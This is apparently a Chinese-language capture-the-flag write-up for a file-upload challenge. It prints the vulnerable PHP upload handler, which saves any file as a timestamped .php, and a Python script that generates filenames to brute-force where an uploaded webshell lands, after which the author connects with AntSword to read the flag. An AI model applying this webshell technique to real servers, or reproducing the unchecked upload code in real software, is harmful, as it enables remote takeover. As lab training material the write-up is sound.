Uploadddd

点击此处获得更好的阅读体验


来源

本 WP 来自spaceman原创投稿

题目考点

  • 目录扫描

  • 源码审计

解题思路

尝试直接上传一句话木马,发现木马文件是可以上传,但是路径不知道

于是扫描了一下目录。发现index.php.swp、flag.php,swp文件需要恢复

1
vim -r index.php.swp

得出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (isset($_POST['submit'])){
$file_path = "uploads/";
$file_name = date("YmdHis") . rand(0,999) . ".php";
move_uploaded_file($_FILES["file"]["tmp_name"], $file_path . $file_name);
echo "上传成功!";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Web03</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name='file'>
<input type="submit" name="submit" value="上传" />
</form>
</body>
</html>

可以看出上传的路径了 uploads ,但是文件名更改为时间,还加了随机数,我本地搭建了一个,先尝试去掉随机的,可以发现是以时间命名,与提交的时间一样

再加上随机的,这次随机的数是900

这就一目了然了,随机数只能爆破了

时间 20200818141506+0-999随机数.php,所以先写一个脚本生成字典

1
2
3
4
5
6
7
8
9
10
time = '20200818141506' #时间
s = ''
for i in range(1000):
s += time+str(i)+'.php'
s += '\n'
print (time+str(i)+'.php')
filename = 'dir.txt'
with open(filename,'a',encoding='utf-8') as f:
for i in s:
f.writelines(i)

然后再使用Bp跑

然后再复制字典粘贴上去,启动

最后跑完,排一下(It is ok!是我在一句话中自己添加的,为了方便确认上传是否成功)

蚁剑连接,html目录下拿到flag